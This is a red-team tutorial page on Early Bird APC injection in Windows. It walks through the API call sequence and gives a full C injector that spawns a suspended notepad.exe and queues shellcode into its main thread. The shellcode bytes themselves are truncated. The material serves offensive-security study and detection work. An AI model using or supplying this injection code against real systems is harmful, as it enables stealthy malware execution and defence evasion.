Red Team Notes logo Red Team Notes

This technique spawn a new process with CreateProcessA an inject into it using APC. Similar to APC Injection but we don’t need to wait till the payload is executed.

The new child process is created on a suspended mode. Our shellcode is executed without setting the thread into a Alertable state due to when the process is created the system calls the function ZwTestAlert that will trigger the APC call.

  1. CreateProcessA() Open a remote process handle.
  2. VirtualAllocEx Allocate memory buffer in the remote process to store shellcode.
  3. WriteProcessMemory() Write shellcode in remote memory buffer
  4. QueueUserAPC() Execute shellcode in remote proccess by scheduling APC object in the threads APC queue.
  5. ResumeThread() Resume the main thread in the remote process in order to get the payload executed.

Analysis

First we need to create a child process on a suspended state.

CreateProcessA(0, "notepad.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, &si, &pi);

As we can see a notepad.exe with pid=7356 has spawned on a suspended state.

A memory buffer should be created with VirtuallAllocEx on the notepad.exe process.

pRemoteCode = VirtualAllocEx(pi.hProcess, NULL, sizeof(payload), MEM_COMMIT, PAGE_EXECUTE_READ);

Next step is copy our payload on the buffer.

WriteProcessMemory(pi.hProcess, pRemoteCode, payload, sizeof(payload), NULL);

Finally we just need to queue the main thread and resume it to get the payload executed.

QueueUserAPC((PAPCFUNC)pRemoteCode, pi.hThread, NULL);
ResumeThread(pi.hThread);

Code

Example of Early Bird Injection:

#include <Windows.h>
#include <stdio.h>

int main(int argc, char *argv[]) {
    HANDLE hProc;
    void * pRemoteCode;
    STARTUPINFOA si;
    PROCESS_INFORMATION pi;

    char payload[] = {0xfc, 0x48,...};
    
    ZeroMemory( &si, sizeof(si) );
    si.cb = sizeof(si);
    ZeroMemory( &pi, sizeof(pi) );

    if(CreateProcessA(0, "notepad.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, &si, &pi)){
        printf("[+] Notepad created: pid -> %d\n", pi.dwProcessId);
        getchar();
        
        pRemoteCode = VirtualAllocEx(pi.hProcess, NULL, sizeof(payload), MEM_COMMIT, PAGE_EXECUTE_READ);
        printf("pRemoteCode -> 0x%p\n", pRemoteCode);
        getchar();
        
        WriteProcessMemory(pi.hProcess, pRemoteCode, payload, sizeof(payload), NULL);
        printf("[+] Payload copied to the buffer\n");
        getchar();
        
        QueueUserAPC((PAPCFUNC)pRemoteCode, pi.hThread, NULL);
        printf("[+] Thread queued\n");
        getchar();
        
        ResumeThread(pi.hThread);
        printf("[+] Thread resumed\n");
    }
    
    return 0;
}